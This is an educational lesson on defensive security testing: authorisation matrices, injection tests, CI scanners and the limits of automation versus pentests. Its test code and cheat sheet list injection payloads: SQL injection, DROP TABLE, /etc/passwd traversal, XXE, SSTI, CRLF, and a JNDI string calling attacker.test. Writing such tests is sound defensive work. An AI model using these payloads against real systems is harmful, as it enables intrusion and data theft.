Security Testing for Engineers
The testable part of security: authorisation matrices, injection at every boundary, dependency and secret scanning, and the difference between a scan and a pentest.
The testable part of security: authorisation matrices, injection at every boundary, dependency and secret scanning, and the difference between a scan and a pentest.
Security testing has a reputation for requiring a specialist, and part of it does. The larger part is ordinary engineering: a set of checks with clear right answers, automatable, and routinely missing from test suites.
This lesson is about that larger part. By the end of it you will have an authorisation matrix you can generate tests from, know where injection actually lives, have dependency and secret scanning in the pipeline, and understand the honest boundary between what you can do and what needs a penetration test.
Broken access control is consistently the top entry in the OWASP Top Ten, and it is almost entirely testable. It is also the defect class most likely to be absent from an otherwise good suite, because happy-path tests cannot see it.
The technique is a matrix: every protected resource against every kind of actor, with the expected outcome in each cell.
resource / action owner same-acct other-acct admin none
------------------------------------------------------------------
GET /contacts 200 200 200(f) 200 401
GET /contacts/{id} 200 200 404 200 401
PATCH /contacts/{id} 200 200 404 200 401
DELETE /contacts/{id} 204 403 404 204 401
POST /contacts/import 201 403 404 201 401
GET /accounts/{id} 200 200 404 200 401
PATCH /accounts/{id} 200 403 404 200 401
GET /admin/users 403 403 403 200 401Two conventions in that table are worth adopting deliberately.
Succeeds, and returns only their rows.
The listing case, where authorisation is enforced by what comes back rather than by refusal.
A test that only checks the status code passes on a listing that leaks every account's data.
For another account's resource.
"Forbidden" confirms the record exists, which is enough to enumerate ids and learn who your customers are.
"Not found" says the same thing to a legitimate typo and to a probe.
Then generate the tests from the matrix rather than writing them by hand:
CASES = [
# (method, path, actor, expected)
("GET", "/contacts/{id}", "owner", 200),
("GET", "/contacts/{id}", "same_acct", 200),
("GET", "/contacts/{id}", "other_acct", 404),
("GET", "/contacts/{id}", "none", 401),
("DELETE", "/contacts/{id}", "same_acct", 403),
("DELETE", "/contacts/{id}", "other_acct", 404),
# ...
]
@pytest.mark.parametrize("method,path,actor,expected", CASES)
def test_authorisation_matrix(client, actors, contact, method, path,
actor, expected):
response = client.request(
method,
path.format(id=contact.id),
headers=actors[actor].headers,
)
assert response.status_code == expectedTwo additions make this genuinely strong.
Assert on the data for writes, not only the status. A 403 returned
after the write has happened is a 403 and a data breach.
def test_a_rejected_update_changes_nothing(client, actors, contact):
original = contact.name
client.patch(f"/contacts/{contact.id}",
headers=actors["other_acct"].headers,
json={"name": "Changed"})
assert reload(contact).name == originalFail the build on an unlisted endpoint. Enumerate the application's routes and assert every one appears in the matrix, so a new endpoint cannot ship without an authorisation decision.
def test_every_route_has_authorisation_cases(app):
covered = {(method, path) for method, path, _, _ in CASES}
for route in app.routes:
for method in route.methods - {"HEAD", "OPTIONS"}:
assert (method, route.path) in covered, (
f"{method} {route.path} has no authorisation cases"
)"Injection" means untrusted input being interpreted as instructions rather than as data, and it exists at more boundaries than people check.
SQL string-concatenated queries. Parameterised queries
fix it; an ORM that takes raw fragments does not.
NoSQL an object where a scalar was expected, so a query
operator is smuggled in
command shell=True with user input anywhere in the string
path "../../etc/passwd" in a filename or a download key
template server-side template injection: user input rendered
AS a template, not into one
LDAP / XPath same principle, different interpreter
header a newline in a value, splitting the response
log a newline in user input, forging log entries
XML entity expansion, and external entity reads (XXE)
deserialisation reconstructing arbitrary objects from user bytesTests are cheap and specific:
INJECTION_PAYLOADS = [
"' OR '1'='1",
"'; DROP TABLE contacts; --",
"../../../../etc/passwd",
"${jndi:ldap://attacker.test/a}",
"{{7*7}}",
"<!DOCTYPE x [<!ENTITY e SYSTEM 'file:///etc/passwd'>]>",
"value\r\nX-Injected: yes",
"O'Brien", # must WORK, not be rejected
]
@pytest.mark.parametrize("payload", INJECTION_PAYLOADS)
def test_search_handles_hostile_input(client, token, payload):
response = client.get("/contacts", params={"q": payload},
headers=token.headers)
assert response.status_code in {200, 400, 422}
assert "syntax error" not in response.text.lower()
assert "/etc/passwd" not in response.text
assert "49" not in response.text # {{7*7}} was not renderedThe last payload in that list is doing something different and important.
O'Brien must be accepted and stored correctly — a system that rejects
apostrophes has usually "fixed" injection by blocking valid data, which is a
different bug wearing a security badge. The correct fix is parameterisation,
which handles both.
Fuzzing, from the earlier lesson, is the systematic version of this list: point it at any parser or input handler and it will generate hostile input more imaginatively than you can.
Four automated checks belong in CI, and all four are close to free.
Dependency scanning. Known vulnerabilities in what you depend on — which is where a large share of real incidents originate.
pip-audit # Python
npm audit --audit-level=high # JavaScript
cargo audit # Rust
govulncheck ./... # Go
osv-scanner . # cross-ecosystemSecret scanning. Credentials committed by accident. Run it on history as well as on the diff, and run it as a pre-commit hook so the commit never happens.
gitleaks detect --source .
trufflehog git file://. --only-verifiedStatic analysis for security. Patterns a linter can recognise: unsafe
functions, shell=True, unparameterised queries, weak cryptography.
bandit -r src/ # Python
semgrep --config auto . # multi-language, rule-based
npm audit signaturesContainer and image scanning, if you ship images.
trivy image myapp:1.4.2
docker scout cves myapp:1.4.2Bad — the scan runs, reports, and nothing happens:
- run: npm audit || true # 47 vulnerabilities. Ignored since March.Good — blocking, with a triaged and shrinking exception list:
- run: npm audit --audit-level=high
- run: |
osv-scanner --config=.osv-scanner.toml .# .osv-scanner.toml — every entry justified, owned, and dated
[[IgnoredVulns]]
id = "GHSA-xxxx-yyyy-zzzz"
ignoreUntil = 2026-09-01
reason = """
Affects the SSR path only; we render statically. Upstream fix is
in 5.x, which is a breaking change scheduled for Q3.
Owner: platform team.
"""The bad version is the usual state of dependency scanning, and it is worse than not scanning: it produces a green build, a report nobody reads, and the appearance of a control. Forty-seven findings means nobody can tell which one matters, so the one that does is invisible.
The good version blocks on high severity and requires each exception to carry
a reason, an owner and an expiry. Then the list is a backlog with a shape, and
ignoreUntil forces the decision to be revisited rather than becoming
permanent by default.
Six more checks that need no specialist and find real problems.
AUTHENTICATION
password reset link: single use, expires, invalidated by a newer
request, not guessable
session invalidated on password change and on logout
rate limiting on login — and on the reset endpoint
the same response for a registered and unregistered email
TRANSPORT AND HEADERS
HTTPS enforced; HSTS present
a Content-Security-Policy that is not just default-src *
cookies: Secure, HttpOnly, SameSite
no CORS Access-Control-Allow-Origin: * on authenticated endpoints
ERROR HANDLING
no stack traces, SQL fragments, internal hostnames or library
versions in a user-facing error
FILE UPLOADS
type validated by content, not by extension
size limited; a zip bomb rejected
stored outside the web root, served without executing
a filename of "../../x" or a very long name handled
RATE LIMITING
applied per account AND per IP; the reset endpoint included
LOGGING
authentication events, authorisation failures and admin actions
logged — and no passwords, tokens or card numbers in the logsSeveral of those are assertable in the API tests you already have, which is the cheapest place to put them.
Being honest about the limit is what makes the rest credible.
What you can do: everything above. Authorisation matrices, injection cases, scanners, header and cookie checks, upload validation, rate limiting, and fuzzing your parsers. This finds a large share of real vulnerabilities, and it finds them continuously rather than annually.
What needs a specialist: chained exploits across several small weaknesses, business-logic abuse that no rule describes, cryptographic review, authentication protocol flaws in OAuth or SAML implementations, and infrastructure and cloud configuration review. A penetration test is a time-boxed engagement by people who do this full time, and it finds a different category from any scan.
The relationship between them is worth stating: automated checks handle the known classes so a pentest is not spent reporting a missing security header. Fix the automatable half first, and the specialist time is spent on the part only a specialist can do.
# 1. AUTHORISATION MATRIX — the highest-value security test
# every protected resource x every actor, expected outcome per cell
actors: owner / same-account / other-account / admin / none
# 200(f) = succeeds, response FILTERED to the caller
# 404 not 403 for another account's resource — 403 confirms it exists
# parametrise the matrix into tests
# assert on the DATA for writes: a 403 after the write is a breach
# enumerate routes and fail the build on an endpoint with no cases
# 2. INJECTION — more boundaries than people check
SQL / NoSQL / command / path traversal / server-side template /
LDAP / XPath / header (CRLF) / log / XML entities (XXE) /
deserialisation
payloads: ' OR '1'='1 | '; DROP TABLE x; -- | ../../etc/passwd
${jndi:ldap://...} | {{7*7}} | value\r\nX-Injected: yes
O'Brien <- must WORK. Rejecting apostrophes is not a fix.
# fuzzing is the systematic version of this list
# 3. SCANNERS, blocking, in CI
pip-audit / npm audit --audit-level=high / cargo audit /
govulncheck ./... / osv-scanner . dependencies
gitleaks detect / trufflehog --only-verified secrets
bandit -r src/ / semgrep --config auto . static analysis
trivy image myapp:1.4.2 containers
# A committed secret is COMPROMISED, not deleted
# rotate the credential first; clean history afterwards
# Exceptions need a reason, an OWNER and an EXPIRY
# "npm audit || true" with 47 findings is worse than no scanning
# 4. The rest of the testable surface
auth reset link single-use, expires, invalidated by a newer
one; session killed on password change; rate limits on
login AND reset; identical response for unknown emails
transport HTTPS + HSTS; a real CSP; Secure/HttpOnly/SameSite
cookies; no CORS "*" on authenticated endpoints
errors no stack traces, SQL, hostnames or versions to users
uploads type by CONTENT not extension; size limits; zip bombs;
stored outside the web root; hostile filenames
rate limits per account AND per IP
logging authn/authz/admin events logged; no secrets in logs
# The boundary
you can: all of the above, continuously
a pentest: chained exploits, business-logic abuse, crypto review,
OAuth/SAML flaws, cloud configuration
# fix the automatable half first, so specialist time is not spent
# reporting a missing header
# Only test what you are authorised to test. In writing.The next lesson is about the infrastructure all of this runs on: ephemeral environments created per branch and destroyed after, and why a shared staging box becomes a queue that slows every team using it.
Before that, build the authorisation matrix for one resource in your own API — five actors, four methods, twenty cells. It is an afternoon, and the hit rate on a matrix that has never been built is high enough that it is rarely a quiet afternoon.